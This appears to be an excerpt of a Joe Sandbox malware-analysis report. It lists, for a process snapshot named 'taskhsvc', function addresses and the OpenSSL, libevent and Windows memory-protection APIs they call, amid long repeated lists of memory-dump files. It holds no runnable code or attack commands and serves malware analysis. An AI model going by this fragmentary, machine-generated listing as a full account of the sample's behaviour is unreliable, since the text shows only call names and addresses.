Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00312D3B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84

APIs

Part of subcall function 003255C5: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00312E2F), ref: 00325635
Part of subcall function 003255C5: _write.MSVCRT ref: 00325691
Part of subcall function 003255C5: __stack_chk_fail.LIBSSP-0 ref: 003256C2

Part of subcall function 00312B7A: __stack_chk_fail.LIBSSP-0 ref: 00312C03

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

__stack_chk_fail.LIBSSP-0 ref: 00312E49

Strings

H%\, xrefs: 00312DA1, 00312DD1

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C76BD, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 00335FCA: ENGINE_load_builtin_engines.LIBEAY32 ref: 0033604B
Part of subcall function 00335FCA: ENGINE_register_all_complete.LIBEAY32 ref: 00336050
Part of subcall function 00335FCA: ENGINE_by_id.LIBEAY32 ref: 003360DF
Part of subcall function 00335FCA: ENGINE_set_default.LIBEAY32 ref: 0033617D
Part of subcall function 00335FCA: ENGINE_get_default_RSA.LIBEAY32 ref: 00336182
Part of subcall function 00335FCA: ENGINE_get_default_DH.LIBEAY32 ref: 00336197
Part of subcall function 00335FCA: ENGINE_get_default_ECDH.LIBEAY32 ref: 003361AC
Part of subcall function 00335FCA: ENGINE_get_default_ECDSA.LIBEAY32 ref: 003361C1
Part of subcall function 00335FCA: ENGINE_get_default_RAND.LIBEAY32 ref: 003361D6
Part of subcall function 00335FCA: ENGINE_get_default_RAND.LIBEAY32 ref: 003361EB
Part of subcall function 00335FCA: ENGINE_get_digest_engine.LIBEAY32 ref: 00336207
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 00336223
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 0033623F
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 0033625B
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 00336277
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 00336293
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 003362AF
Part of subcall function 00335FCA: ENGINE_get_cipher_engine.LIBEAY32 ref: 003362CB
Part of subcall function 00335FCA: __stack_chk_fail.LIBSSP-0 ref: 00336340

Part of subcall function 001DA978: __stack_chk_fail.LIBSSP-0 ref: 001DA9A0

Part of subcall function 003EC5D8: evutil_secure_rng_init.LIBEVENT-2-0-5 ref: 003EC5F5
Part of subcall function 003EC5D8: evutil_secure_rng_add_bytes.LIBEVENT-2-0-5 ref: 003EC62F
Part of subcall function 003EC5D8: evutil_secure_rng_get_bytes.LIBEVENT-2-0-5 ref: 003EC645
Part of subcall function 003EC5D8: __stack_chk_fail.LIBSSP-0 ref: 003EC65B

__stack_chk_fail.LIBSSP-0 ref: 001C77A4

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 002E38C7: __stack_chk_fail.LIBSSP-0 ref: 002E3900

Strings

,@, xrefs: 001C7773

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C4C42, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25

APIs

Part of subcall function 0033CC1C: RAND_poll.LIBEAY32 ref: 0033CC3A
Part of subcall function 0033CC1C: RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CC9E
Part of subcall function 0033CC1C: RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CCCA
Part of subcall function 0033CC1C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00335F8E), ref: 0033CCEB

__stack_chk_fail.LIBSSP-0 ref: 001C4C9B

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

D@, xrefs: 001C4C6F

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F0D83, Relevance: 3.5, APIs: 2, Instructions: 462

APIs

Part of subcall function 001E3E77: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F0DE8), ref: 001E3EB7

Part of subcall function 0021329C: abort.MSVCRT ref: 00213305
Part of subcall function 0021329C: __stack_chk_fail.LIBSSP-0 ref: 0021359C

Part of subcall function 001E471C: abort.MSVCRT ref: 001E4857
Part of subcall function 001E471C: __stack_chk_fail.LIBSSP-0 ref: 001E4887

Part of subcall function 00342356: abort.MSVCRT ref: 003423A6
Part of subcall function 00342356: SSL_pending.SSLEAY32 ref: 003423B4
Part of subcall function 00342356: __stack_chk_fail.LIBSSP-0 ref: 003423C4

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 003423F9: SSL_get_rbio.SSLEAY32 ref: 00342425
Part of subcall function 003423F9: BIO_number_read.LIBEAY32 ref: 0034242D
Part of subcall function 003423F9: SSL_get_wbio.SSLEAY32 ref: 0034243E
Part of subcall function 003423F9: BIO_f_buffer.LIBEAY32 ref: 0034244B
Part of subcall function 003423F9: BIO_next.LIBEAY32 ref: 0034245A
Part of subcall function 003423F9: BIO_number_written.LIBEAY32 ref: 00342474
Part of subcall function 003423F9: __stack_chk_fail.LIBSSP-0 ref: 00342538

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 0031985E: __stack_chk_fail.LIBSSP-0 ref: 00319A18

abort.MSVCRT ref: 001F12C4

Part of subcall function 00206E23: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001C3569), ref: 00206E4C

Part of subcall function 00206E53: abort.MSVCRT(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EA5
Part of subcall function 00206E53: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EB6

Part of subcall function 001E3DED: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1825), ref: 001E3E14

Part of subcall function 001E4527: abort.MSVCRT ref: 001E459D
Part of subcall function 001E4527: abort.MSVCRT ref: 001E45E0
Part of subcall function 001E4527: abort.MSVCRT ref: 001E46E5
Part of subcall function 001E4527: __stack_chk_fail.LIBSSP-0 ref: 001E4715

Part of subcall function 001E8A34: abort.MSVCRT ref: 001E8A8A
Part of subcall function 001E8A34: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F13F9), ref: 001E8A9D

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 001E8860: abort.MSVCRT ref: 001E88CA
Part of subcall function 001E8860: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001E9EDC), ref: 001E88DD

Part of subcall function 0027DCF8: abort.MSVCRT ref: 0027DD82
Part of subcall function 0027DCF8: __stack_chk_fail.LIBSSP-0 ref: 0027DD95

Part of subcall function 001E557C: abort.MSVCRT ref: 001E562E
Part of subcall function 001E557C: __stack_chk_fail.LIBSSP-0 ref: 001E56D1

Part of subcall function 001E8780: abort.MSVCRT ref: 001E87D6
Part of subcall function 001E8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EA4BB), ref: 001E87E9

Part of subcall function 00325435: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001F0905), ref: 00325455

Part of subcall function 001EF888: __stack_chk_fail.LIBSSP-0 ref: 001EFBD5

Part of subcall function 001EFBE0: abort.MSVCRT ref: 001EFCC0
Part of subcall function 001EFBE0: __stack_chk_fail.LIBSSP-0 ref: 001EFD44

__stack_chk_fail.LIBSSP-0 ref: 001F1529

Part of subcall function 001C274C: abort.MSVCRT ref: 001C279C
Part of subcall function 001C274C: event_pending.LIBEVENT-2-0-5 ref: 001C27D2
Part of subcall function 001C274C: __stack_chk_fail.LIBSSP-0 ref: 001C27F2

Part of subcall function 001EFD4B: abort.MSVCRT ref: 001EFE2B
Part of subcall function 001EFD4B: __stack_chk_fail.LIBSSP-0 ref: 001EFEAF

Part of subcall function 001EF26C: __stack_chk_fail.LIBSSP-0 ref: 001EF37D

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003F6BB0, Relevance: 3.2, APIs: 2, Instructions: 181

APIs

Part of subcall function 003F6A10: fwrite.MSVCRT ref: 003F6A3B
Part of subcall function 003F6A10: vfprintf.MSVCRT ref: 003F6A57
Part of subcall function 003F6A10: abort.MSVCRT ref: 003F6A5C

Part of subcall function 003F6A70: VirtualQuery.KERNEL32 ref: 003F6B00
Part of subcall function 003F6A70: VirtualProtect.KERNELBASE ref: 003F6B42
Part of subcall function 003F6A70: GetLastError.KERNEL32 ref: 003F6B64

VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 003F6D3B
VirtualProtect.KERNELBASE ref: 003F6D6C

Memory Dump Source

Source File: 00000013.00000002.1855588250.003F6000.00000080.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002C0435, Relevance: 3.1, APIs: 2, Instructions: 117

APIs

Part of subcall function 002C032C: __stack_chk_fail.LIBSSP-0 ref: 002C042E

Part of subcall function 00315B2B: CreateFileA.KERNEL32 ref: 00315BEF
Part of subcall function 00315B2B: free.MSVCRT ref: 00315E9E
Part of subcall function 00315B2B: __stack_chk_fail.LIBSSP-0 ref: 00315F2B

Part of subcall function 00326B1B: abort.MSVCRT ref: 00326B85
Part of subcall function 00326B1B: strerror.MSVCRT ref: 00326BFE
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326C73
Part of subcall function 00326B1B: _close.MSVCRT ref: 00326CDE
Part of subcall function 00326B1B: strerror.MSVCRT ref: 00326D57
